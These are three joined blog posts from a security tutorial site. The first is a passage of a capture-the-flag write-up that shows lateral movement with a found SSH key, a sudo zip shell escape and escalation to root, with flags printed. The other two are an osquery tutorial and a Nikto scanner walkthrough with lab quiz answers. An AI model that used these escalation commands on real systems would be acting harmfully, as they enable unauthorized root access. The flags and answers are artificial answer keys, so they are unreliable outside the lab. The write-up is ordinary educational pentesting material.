ls
flag1.txt
$ cat flag1.txt
cat flag1.txt
THM{Hey!_Welcome_in}
$ 
                                                                                   
                                                                                   
                            
  

Pivoting

It appears that wileec also has an ssh private key:

ls -la
cd .ssh

  $ ls -la
ls -la
total 28
drwxr-xr-x 4 wileec wileec 4096 Apr 25  2020 .
drwxr-xr-x 4 root   root   4096 Apr 25  2020 ..
-rw-r--r-- 1 wileec wileec  220 May 15  2017 .bash_logout
-rw-r--r-- 1 wileec wileec 3526 May 15  2017 .bashrc
-rw-r--r-- 1 wileec wileec  675 May 15  2017 .profile
drwxr-xr-x 2 wileec wileec 4096 Apr 25  2020 .ssh
-rw-r--r-- 1 root   root     21 Apr 25  2020 flag1.txt
$ cd .ssh
cd .ssh
$ ls -la
ls -la
total 20
drwxr-xr-x 2 wileec wileec 4096 Apr 25  2020 .
drwxr-xr-x 4 wileec wileec 4096 Apr 25  2020 ..
-rw------- 1 wileec wileec 1675 Apr 25  2020 id_rsa
-rw-r--r-- 1 wileec wileec  393 Apr 25  2020 id_rsa.pub
-rw-r--r-- 1 wileec wileec  222 Apr 25  2020 known_hosts
$ www.kumaratuljaiswal.in



  

We can use this to try connecting using the internal IP address we found in the bolt_users table of the SQLite database:

Great, it worked... and, even better, we have some sudo privileges:

sudo -l

Privilege Escalation #2

  $ sudo -l
sudo -l
Matching Defaults entries for wileec on Securus:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User wileec may run the following commands on Securus:
    (jsmith) NOPASSWD: /usr/bin/zip
$ 

$ TF=$(mktemp -u)
TF=$(mktemp -u)
$ sudo -u jsmith zip $TF /etc/hosts -T -TT 'sh #'
sudo -u jsmith zip $TF /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 32%)
$ 


  

Awesome! We are now jsmith.

Once again, we can upgrade to a fully interactive shell:

python -c 'import pty;pty.spawn("/bin/bash")'

  
$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
jsmith@Securus:/home/wileec$ whoami
whoami
jsmith
jsmith@Securus:/home/wileec$ #www.kumaratuljaiswal.in
#www.kumaratuljaiswal.in
jsmith@Securus:/home/wileec$ cd ~
cd ~
jsmith@Securus:~$ ls -la
ls -la
total 24
drwxrwx--- 2 jsmith jsmith 4096 Apr 25  2020 .
drwxr-xr-x 4 root   root   4096 Apr 26  2020 ..
-rw-r--r-- 1 jsmith jsmith  220 Nov  5  2016 .bash_logout
-rw-r--r-- 1 jsmith jsmith 3515 Nov  5  2016 .bashrc
-rw-r--r-- 1 jsmith jsmith   33 Apr 25  2020 flag2.txt
-rw-r--r-- 1 jsmith jsmith  675 Nov  5  2016 .profile
jsmith@Securus:~$ 

jsmith@Securus:~$ cat flag2.txt
cat flag2.txt
THM{Welcome_Home_Wile_E_Coyote!}
jsmith@Securus:~$ 
  

  jsmith@Securus:~$ sudo -l
sudo -l
Matching Defaults entries for jsmith on Securus:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jsmith may run the following commands on Securus:
    (ALL : ALL) NOPASSWD: ALL
jsmith@Securus:~$ 




  

Next, we can change to the users home directory and grab the second flag:

jsmith@Securus:~$ sudo su
sudo su
root@Securus:/home/jsmith# whoami
whoami
root
root@Securus:/home/jsmith# ls -la
ls -la
total 24
drwxrwx--- 2 jsmith jsmith 4096 Apr 25  2020 .
drwxr-xr-x 4 root   root   4096 Apr 26  2020 ..
-rw-r--r-- 1 jsmith jsmith  220 Nov  5  2016 .bash_logout
-rw-r--r-- 1 jsmith jsmith 3515 Nov  5  2016 .bashrc
-rw-r--r-- 1 jsmith jsmith   33 Apr 25  2020 flag2.txt
-rw-r--r-- 1 jsmith jsmith  675 Nov  5  2016 .profile
root@Securus:/home/jsmith# #www.kumaratuljaiswal.in
#www.kumaratuljaiswal.in
root@Securus:/home/jsmith# 

root@Securus:/home/jsmith# cd /root
cd /root
root@Securus:~# ls -la
ls -la
total 28
drwx------  4 root root 4096 Apr 26  2020 .
drwxr-xr-x 22 root root 4096 Apr 17  2020 ..
lrwxrwxrwx  1 root root    9 Apr 22  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-r--r--  1 root root   43 Apr 25  2020 flag3.txt
drwx------  2 root root 4096 Apr 23  2020 .gnupg
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
drwx------  2 root root 4096 Apr 17  2020 .ssh
root@Securus:~# cat flag3.txt
cat flag3.txt
THM{Great_work!_You_pwned_Erit_Securus_1!}
root@Securus:~# 

Disclaimer

This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



- Hacking Truth by Kumar Atul Jaiswal



I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)

 

osqueryi

Osquery 

Osquery is an open-source tool created by Facebook. With Osquery, Security Analysts, Incident Responders, Threat Hunters, etc., can query an endpoint (or multiple endpoints) using SQL syntax. Osquery can be installed on multiple platforms: Windows, Linux, macOS, and FreeBSD. 

Many well-known companies, besides Facebook, either use Osquery, utilize osquery within their tools, and/or look for individuals who know Osquery. Little Tricks To Achieve The Best Results In Osquery

Installation

 
If you wish to install Osquery on your local machine or local virtual machine, please refer to the installation instructions. 

    Install on Windows - CLICK HERE
    Install on Linux - CLICK HERE
    Install on macOS - CLICK HERE
    Install on FreeBSD - CLICK HERE

Refer to the documentation on the Osquery daemon (osqueryd) information and all the command-line flags here.
But currently we will install in linux...Let's start

Osquery packages are not available in the default Ubuntu repository so before installing it we have to add the Osquery apt repository by running the following command in the terminal.

echo "deb [arch=amd64] https://pkg.osquery.io/deb deb main" | sudo tee /etc/apt/sources.list.d/osquery.list

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/osquery]
└─$ echo "deb [arch=amd64] https://pkg.osquery.io/deb deb main" |  sudo tee /etc/apt/sources.list.d/osquery.list                127 ⨯
deb [arch=amd64] https://pkg.osquery.io/deb deb main

Now we will import the signing key by running the following command in the terminal.

echo "deb [arch=amd64] https://pkg.osquery.io/deb deb main" | sudo tee /etc/apt/sources.list.d/osquery.list

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/osquery]
└─$  sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B
Warning: apt-key is deprecated. Manage keyring files in trusted.gpg.d instead (see apt-key(8)).
Executing: /tmp/apt-key-gpghome.4RXkY9hMi1/gpg.1.sh --keyserver keyserver.ubuntu.com --recv-keys 1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B
gpg: key 97A80C63C9D8B80B: public key "osquery (osquery) <osquery@fb.com>" imported
gpg: Total number processed: 1
gpg:               imported: 1
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/osquery]
└─$ 

After importing the signing key, now update your system by running the following command in the terminal.

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/osquery]
└─$ sudo apt-get update 

Now, install osquery by running this command

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/osquery]
└─$ sudo apt-get install osquery                                                                                                100 ⨯
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libbasicusageenvironment1 libdap25 libgarcon-gtk3-1-0 libgroupsock8 libgtop-2.0-11 libgtop2-common libjsoncpp1 liblivemedia77
  liblttng-ust-ctl4 liblttng-ust0 libre2-8 librpm8 librpmbuild8 librpmio8 librpmsign8 libsane libusageenvironment3 libxdo3
  libxfce4ui-utils libxpresent1 light-locker linux-headers-5.9.0-kali2-amd64 linux-headers-5.9.0-kali2-common
  linux-image-5.9.0-kali2-amd64 python3-atomicwrites python3-pathtools tango-icon-theme x11-session-utils xdotool xfce4-appfinder
  xfce4-helpers xfce4-panel xfce4-pulseaudio-plugin xfce4-session xfce4-settings xfdesktop4 xfdesktop4-data xfwm4 xiccd xinit xorg
Use 'sudo apt autoremove' to remove them.
The following NEW packages will be installed:
  osquery
0 upgraded, 1 newly installed, 0 to remove and 338 not upgraded.
Need to get 16.4 MB of archives.
After this operation, 92.2 MB of additional disk space will be used.
Get:1 https://pkg.osquery.io/deb deb/main amd64 osquery amd64 4.8.0-1.linux [16.4 MB]
Fetched 16.4 MB in 1min 52s (147 kB/s)                                                                                               
Selecting previously unselected package osquery.
(Reading database ... 407801 files and directories currently installed.)
Preparing to unpack .../osquery_4.8.0-1.linux_amd64.deb ...
Unpacking osquery (4.8.0-1.linux) ...
Setting up osquery (4.8.0-1.linux) ...
1468
Processing triggers for kali-menu (2021.2.0) ...
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/osquery]
└─$ 

After installing Osquery, now we have to check whether it has been installed correctly by running the following command

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/osquery]
└─$ osqueryi --version
osqueryi version 4.8.0
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/osquery]
└─$ 

Usage Time

we are set ready to use Osquery. Run the following command to go to interactive shell prompt.

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/osquery]
└─$ osqueryi 
Using a virtual database. Need help, type '.help'
osquery>

For Help Command:

.help

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/osquery]
└─$ osqueryi          
Using a virtual database. Need help, type '.help'
osquery> .help
Welcome to the osquery shell. Please explore your OS!
You are connected to a transient 'in-memory' virtual database.

.all [TABLE]     Select all from a table
.bail ON|OFF     Stop after hitting an error
.connect PATH    Connect to an osquery extension socket
.disconnect      Disconnect from a connected extension socket
.echo ON|OFF     Turn command echo on or off
.exit            Exit this program
.features        List osquery's features and their statuses
.headers ON|OFF  Turn display of headers on or off
.help            Show this message
.mode MODE       Set output mode where MODE is one of:
                   csv      Comma-separated values
                   column   Left-aligned columns see .width
                   line     One value per line
                   list     Values delimited by .separator string
                   pretty   Pretty printed SQL results (default)
.nullvalue STR   Use STRING in place of NULL values
.print STR...    Print literal STRING
.quit            Exit this program
.schema [TABLE]  Show the CREATE statements
.separator STR   Change separator used by output mode
.socket          Show the local osquery extensions socket path
.show            Show the current values for various settings
.summary         Alias for the show meta command
.tables [TABLE]  List names of tables
.types [SQL]     Show result of getQueryColumns for the given query
.width [NUM1]+   Set column widths for "column" mode
.timer ON|OFF      Turn the CPU timer measurement on or off
osquery> 

Getting All the Tables

Osquery exposes data from the operating system as a relational database so it is in the form of tables. We can get all the tables by running this command.

.tables

┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/osquery]
└─$ osqueryi 
Using a virtual database. Need help, type '.help'
osquery> .tables
  => acpi_tables
  => apparmor_events
  => apparmor_profiles
  => apt_sources
  => arp_cache
  => atom_packages
  => augeas
  => carbon_black_info
  => carves
  => user_events
  => user_groups
  => user_ssh_keys
  => users
  => yara
  => yara_events
  => ycloud_instance_metadata
  => yum_sources
osquery> 

Now we can get data from these tables by running SQL based queries.

Listing Information About all the Users
We can see all the information about users by running the following command in the interactive shell

SELECT * FROM users;

osquery> SELECT * FROM users;
+-------+-------+------------+------------+-------------------+--------------------------------------+-------------------------+-------------------+------+
| uid   | gid   | uid_signed | gid_signed | username          | description                          | directory               | shell             | uuid |
+-------+-------+------------+------------+-------------------+--------------------------------------+-------------------------+-------------------+------+
| 0     | 0     | 0          | 0          | root              | root                                 | /root                   | /bin/zsh          |      |
| 1     | 1     | 1          | 1          | daemon            | daemon                               | /usr/sbin               | /usr/sbin/nologin |      |
| 2     | 2     | 2          | 2          | bin               | bin                                  | /bin                    | /usr/sbin/nologin |      |
| 9     | 9     | 9          | 9          | news              | news                                 | /var/spool/news         | /usr/sbin/nologin |      |
| 1003  | 1004  | 1003       | 1004       | hackingtruth.in   |                                      | /home/hackingtruth.in   | /usr/bin/zsh      |      |
+-------+-------+------------+------------+-------------------+--------------------------------------+-------------------------+-------------------+------+
osquery> 

We can also extract only the relevant data about users for example we want to see only the users and not other information about users.

SELECT username FROM users;

osquery> SELECT username FROM users;
+-------------------+
| username          |
+-------------------+
| root              |
| daemon            |
| bin               |
| sys               |
| sync              |
| games             |
| man               |
| systemd-resolve   |
| mysql             |
| _dnscrypt-proxy   |
| debian-tor        |
| Debian-exim       |
| redis             |
| _gvm              |
| ak                |
| speech-dispatcher |
| hackingtruth.in   |
+-------------------+
osquery> 

Similarly we can get usernames along with the directory in which the user exists by running the running this command.

SELECT username, directory FROM users;

osquery> SELECT username, directory FROM users;
+-------------------+-------------------------+
| username          | directory               |
+-------------------+-------------------------+
| root              | /root                   |
| daemon            | /usr/sbin               |
| bin               | /bin                    |
| sys               | /dev                    |
| sync              | /bin                    |
| games             | /usr/games              |
| man               | /var/cache/man          |
| lp                | /var/spool/lpd          |
| redis             | /var/lib/redis          |
| _gvm              | /var/lib/openvas        |
| ak                | /home/ak                |
| speech-dispatcher | /run/speech-dispatcher  |
| hackingtruth.in   | /home/hackingtruth.in   |
+-------------------+-------------------------+
osquery> 

We can also get all the data of specific users. For example we want to get all the information about the root user. We can get all the information about the root user

SELECT * FROM users WHERE username="root";

osquery> SELECT * FROM users WHERE username="root";
+-----+-----+------------+------------+----------+-------------+-----------+----------+------+
| uid | gid | uid_signed | gid_signed | username | description | directory | shell    | uuid |
+-----+-----+------------+------------+----------+-------------+-----------+----------+------+
| 0   | 0   | 0          | 0          | root     | root        | /root     | /bin/zsh |      |
+-----+-----+------------+------------+----------+-------------+-----------+----------+------+
osquery> 

We can also get specific data from specific fields (columns).
For Example

SELECT username, gid FROM users WHERE username=”root”

osquery> SELECT username, gid FROM users WHERE username="root";
+----------+-----+
| username | gid |
+----------+-----+
| root     | 0   |
+----------+-----+
osquery> 

Listing all The Processes

We can list first five processes running in linux by running the following command


SELECT * FROM processes LIMIT 5;

osquery> SELECT * FROM processes LIMIT 5;
+-------+--------------------+------+--------------------------+-------+-----+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| pid   | name               | path | cmdline                  | state | cwd | root | uid | gid | euid | egid | suid | sgid | on_disk | wired_size | resident_size | total_size | user_time | system_time | disk_bytes_read | disk_bytes_written | start_time | parent | pgroup | threads | nice |
+-------+--------------------+------+--------------------------+-------+-----+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
| 1     | systemd            |      | /sbin/init splash        | S     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          | 10848000      | 165436000  | 1530      | 2780        |                 |                    | 1622207274 | 0      | 1      | 1       | 0    |
| 10    | rcu_tasks_rude_    |      |                          | S     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            |  0         | 490         |                 |                    | 1622208791 | 2      | 0      | 1       | 0    |
| 11    | rcu_tasks_trace    |      |                          | S     |     |      | 0   | 0   | 0    | 0    | 0    | 0    | -1      | 0          |               |            | 0         | 0           |                 |                    | 1622207274 | 2      | 0      | 1       | 0    |
+-------+--------------------+------+--------------------------+-------+-----+------+-----+-----+------+------+------+------+---------+------------+---------------+------------+-----------+-------------+-----------------+--------------------+------------+--------+--------+---------+------+
osquery> 

We can find the process id of a specific process for example we want to find the process id of zsh so we will run the following command in the interactive shell SELECT pid FROM processes WHERE name="mongod";

osquery> SELECT pid FROM processes WHERE name="zsh";
+-------+
| pid   |
+-------+
| 14917 |
| 6291  |
+-------+
osquery> 


report a snapshot of the current processing 

Finding Version of

osquery> SELECT * FROM os_version;
+----------------+---------+-------+-------+-------+-------+----------+---------------+--------------+--------+
| name           | version | major | minor | patch | build | platform | platform_like | codename     | arch   |
+----------------+---------+-------+-------+-------+-------+----------+---------------+--------------+--------+
| Kali GNU/Linux | 2021.1  | 2021  | 1     | 0     |       | kali     | debian        | kali-rolling | x86_64 |
+----------------+---------+-------+-------+-------+-------+----------+---------------+--------------+--------+
osquery> 

Checking Network Interfaces and IP Addresses

We can check the IP address, Subnet Mask of Network Interfaces

osquery> SELECT interface, address mask FROM interface_addresses WHERE interface NOT LIKE '%lo%';
+-----------+----------------------------------------+
| interface | mask                                   |
+-----------+----------------------------------------+
| usb0      | 192.168.42.15                          |
| usb0      | 2409:4064:e8c:3aa6:6c61:8faa:7134:c8e8 |
| usb0      | 2409:4064:e8c:3aa6:d4a3:82ff:fee0:fd6e |
| usb0      | fe80::d4a3:82ff:fee0:fd6e%usb0         |
+-----------+----------------------------------------+
osquery> 

Checking Logged in Users

We can also check logged in users on your system by querying data from the ‘logged_in_users’ table.

SELECT user,host,time FROM logged_in_users WHERE tty NOT LIKE '-';

osquery> SELECT user,host,time FROM logged_in_users WHERE tty NOT LIKE '-';
+-----------+--------------------+------------+
| user      | host               | time       |
+-----------+--------------------+------------+
| reboot    | 5.10.0-kali5-amd64 | 1622227081 |
| LOGIN     |                    | 1622207319 |
| runlevel  | 5.10.0-kali5-amd64 | 1622207352 |
| hackerboy | :0                 | 1622207355 |
+-----------+--------------------+------------+
osquery> 

Checking System Memory

We can also check Total memory, free memory cached memory etc.

SELECT memory_total FROM memory_info;

osquery> SELECT memory_total FROM memory_info;
+--------------+
| memory_total |
+--------------+
| 3903123456   |
+--------------+
osquery> 

To check free memory of your system run the following query.

SELECT memory_free FROM memory_info;

osquery> SELECT memory_free FROM memory_info;
+-------------+
| memory_free |
+-------------+
| 457252864   |
+-------------+
osquery> 

We can also check the cached memory of the system using memory_info table by running this query

select cached from memory_info;

osquery> SELECT cached from memory_info;
+------------+
| cached     |
+------------+
| 1626595328 |
+------------+
osquery>

Listing the Groups We can find all the groups in your system by running the following query.

SELECT * FROM groups;

osquery> SELECT * FROM groups;
+-------+------------+------------------+
| gid   | gid_signed | groupname        |
+-------+------------+------------------+
| 0     | 0          | root             |
| 1     | 1          | daemon           |
| 2     | 2          | bin              |
| 3     | 3          | sys              |
| 4     | 4          | adm              |
| 5     | 5          | tty              |
| 6     | 6          | disk             |
| 7     | 7          | lp               |
| 142   | 142        | debian-tor       |
| 143   | 143        | Debian-exim      |
| 144   | 144        | redis            |
| 145   | 145        | _gvm             |
| 1002  | 1002       | atul             |
| 1003  | 1003       | ak               |
| 1004  | 1004       | hackingtruth.in  |
+-------+------------+------------------+
osquery> 

Displaying Listening Ports

can display all the listening ports of our system by running the following command in the interactive shell

SELECT * FROM listening_ports;

osquery> SELECT * FROM listening_ports;
+-------+------+----------+--------+-----------+----+--------+--------------------------------------------+---------------+
| pid   | port | protocol | family | address   | fd | socket | path                                       | net_namespace |
+-------+------+----------+--------+-----------+----+--------+--------------------------------------------+---------------+
| -1    | 22   | 6        | 2      | 0.0.0.0   | -1 | 20567  |                                            | 0             |
| -1    | 9050 | 6        | 2      | 127.0.0.1 | -1 | 19986  |                                            | 0             |
| -1    | 22   | 6        | 10     | ::        | -1 | 20569  |                                            | 0             |
| -1    | 255  | 255      | 2      | 0.0.0.0   | -1 | 2902   |                                            | 0             |
| -1    | 58   | 255      | 10     | ::        | -1 | 31505  |                                            | 0             |
| 11512 | 0    | 0        | 1      |           | 7  | 0      | /home/hackerboy/.osquery/shell.em          | 0             |
| 1513  | 0    | 0        | 1      |           | 12 | 0      | @/tmp/.ICE-unix/1513                       | 0             |
| -1    | 0    | 0        | 1      |           | -1 | 0      | @/tmp/.X11-unix/X0                         | 0             |
| 1468  | 0    | 0        | 1      |           | 16 | 0      | /run/user/1000/systemd/notify              | 0             |
| 1468  | 0    | 0        | 1      |           | 19 | 0      | /run/user/1000/systemd/private             | 0             |
| 1494  | 0    | 0        | 1      |           | 3  | 0      | /run/user/1000/bus                         | 0             |
| 1468  | 0    | 0        | 1      |           | 26 | 0      | /run/user/1000/gnupg/S.dirmngr             | 0             |
| 1468  | 0    | 0        | 1      |           | 27 | 0      | /run/user/1000/gnupg/S.gpg-agent.browser   | 0             |
| 1468  | 0    | 0        | 1      |           | 28 | 0      | /run/user/1000/gnupg/S.gpg-agent.extra     | 0             |
| 1468  | 0    | 0        | 1      |           | 29 | 0      | /run/user/1000/gnupg/S.gpg-agent.ssh       | 0             |
+-------+------------+------------------++-------+------------+------------------++-------+------------+------------------+
osquery> 

We can also check whether a port is listening or not by running the following command.

SELECT port, address FROM listening_ports WHERE port=27017;

osquery> SELECT port, address FROM listening_ports WHERE port=9050;
+------+-----------+
| port | address   |
+------+-----------+
| 9050 | 127.0.0.1 |
| 9050 | 127.0.0.1 |
+------+-----------+
osquery> 

Disclaimer

This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



- Hacking Truth by Kumar Atul Jaiswal



I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)

 

Introduction to Nikto

Initially released in 2001, Nikto has made leaps and bounds over the years and has proven to be a very popular vulnerability scanner due to being both open-source nature and feature-rich. Nikto is capable of performing an assessment on all types of webservers (and isn't application-specific such as WPScan.). Nikto can be used to discover possible vulnerabilities including:

• Sensitive files
• Outdated servers and programs (i.e. vulnerable web server installs)
• Common server and software misconfigurations (Directory indexing, cgi scripts, x-ss protections)

Installing Nikto

Thankfully for us, Nikto comes pre-installed on the latest versions of penetration testing systems such as Kali Linux and Parrot. If you are using an older version of Kali Linux (such as 2019) for example, Nikto is in the apt repository, so can be installed by a simple sudo apt update && sudo apt install nikto

Installing Nikto on other operating systems such as Ubuntu or Debian involves extra steps. Whilst the TryHackMe AttackBox comes pre-installed with Nikto, you can follow the developer's installation guide for your local environment.Learn the methodology of enumerating websites by using tools

Nikto Modes

Basic Scanning

The most basic scan can be performed by using the -h flag and providing an IP address or domain name as an argument. This scan type will retrieve the headers advertised by the webserver or application (I.e. Apache2, Apache Tomcat, Jenkins or JBoss) and will look for any sensitive files or directories (i.e. login.php, /admin/, etc)

An example of this is the following: nikto -h vulnerable_ip

 

Note a few interesting things are given to us in this example:


Nikto has identified that the application is Apache Tomcat using the favicon and the presence of "/examples/servlets/index.html" which is the location for the default Apache Tomcat application.
HTTP Methods "PUT" and "DELETE" can be performed by clients - we may be able to leverage these to exploit the application by uploading or deleting files.


Scanning Multiple Hosts & Ports


Nikto is extensive in the sense that we can provide multiple arguments in a way that's similar to tools such as Nmap. In fact, so much so, we can take input directly from an Nmap scan to scan a host range. By scanning a subnet, we can look for hosts across an entire network range. We must instruct Nmap to output a scan into a format that is friendly for Nikto to read using Nmap's  -oG  flags


For example, we can scan 172.16.0.0/24 (subnet mask 255.255.255.0, resulting in 254 possible hosts) with Nmap (using the default web port of 80) and parse the output to Nikto like so: 

nmap -p80 172.16.0.0/24 -oG - | nikto -h -


There are not many circumstances where you would use this other than when you have gained access to a network. A much more common scenario will be scanning multiple ports on one specific host. We can do this by using the -p flag and providing a list of port numbers delimited by a comma - such as the following: 

nikto -h 10.10.10.1 -p 80,8000,8080

Introduction to Plugins

Plugins further extend the capabilities of Nikto. Using information gathered from our basic scans, we can pick and choose plugins that are appropriate to our target. You can use the --list-plugins flag with Nikto to list the plugins or view the whole list in an easier to read format online.

Some interesting plugins include:

We can specify the plugin we wish to use by using the -Plugin argument and the name of the plugin we wish to use...For example, to use the "apacheuser" plugin, our Nikto scan would look like so: nikto -h 10.10.10.1 -Plugin apacheuser

 

 
Verbosing our Scan

We can increase the verbosity of our Nikto scan by providing the following arguments with the -Display flag. Unless specified, the output given by Nikto is not the entire output, as it can sometimes be irrelevant (but that isn't always the case!)

Tuning Your Scan for Vulnerability Searching

Nikto has several categories of vulnerabilities that we can specify our scan to enumerate and test for. The following list is not extensive and only include the ones that you may commonly use. We can use the -Tuning flag and provide a value in our Nikto scan:

Saving Your Findings

Rather than working with the output on the terminal, we can instead, just dump it directly into a file for further analysis - making our lives much easier!


Nikto is capable of putting to a few file formats including:

•     Text File
•     HTML report

We can use the -o argument (short for -Output) and provide both a filename and compatible extension. We can specify the format (-f) specifically, but Nikto is smart enough to use the extension we provide in the -o argument to adjust the output accordingly.


For example, let's scan a web server and output this to "report.html": nikto -h http://ip_address -o report.html

 

 

 


1) What argument would we use if we wanted to scan port 80 and 8080 on a host?

Ans :- -p 80,8080



2) What argument would we use if we wanted to see any cookies given by the web server?

Ans :-  -Display 2

3) What is the name & version of the web server that  Nikto has determined running on port 80?

Ans :- Apache/2.4.7



4) There is another web server running on another port. What is the name & version of this web server?

Ans :- Apache-Coyote/1.1



5) What is the name of the Cookie that this JBoss server gives?

Ans :- JSESSIONID


 

Disclaimer

This was written for educational purpose and pentest only.
The author will not be responsible for any damage ..!
The author of this tool is not responsible for any misuse of the information.
You will not misuse the information to gain unauthorized access.
This information shall only be used to expand knowledge and not for causing  malicious or damaging attacks. Performing any hacks without written permission is illegal ..!


All video’s and tutorials are for informational and educational purposes only. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. We believe that it is impossible to defend yourself from hackers without knowing how hacking is done. The tutorials and videos provided on www.hackingtruth.in is only for those who are interested to learn about Ethical Hacking, Security, Penetration Testing and malware analysis. Hacking tutorials is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used.


All tutorials and videos have been made using our own routers, servers, websites and other resources, they do not contain any illegal activity. We do not promote, encourage, support or excite any illegal activity or hacking without written permission in general. We want to raise security awareness and inform our readers on how to prevent themselves from being a victim of hackers. If you plan to use the information for illegal purposes, please leave this website now. We cannot be held responsible for any misuse of the given information.



- Hacking Truth by Kumar Atul Jaiswal



I hope you liked this post, then you should not forget to share this post at all.
Thank you so much :-)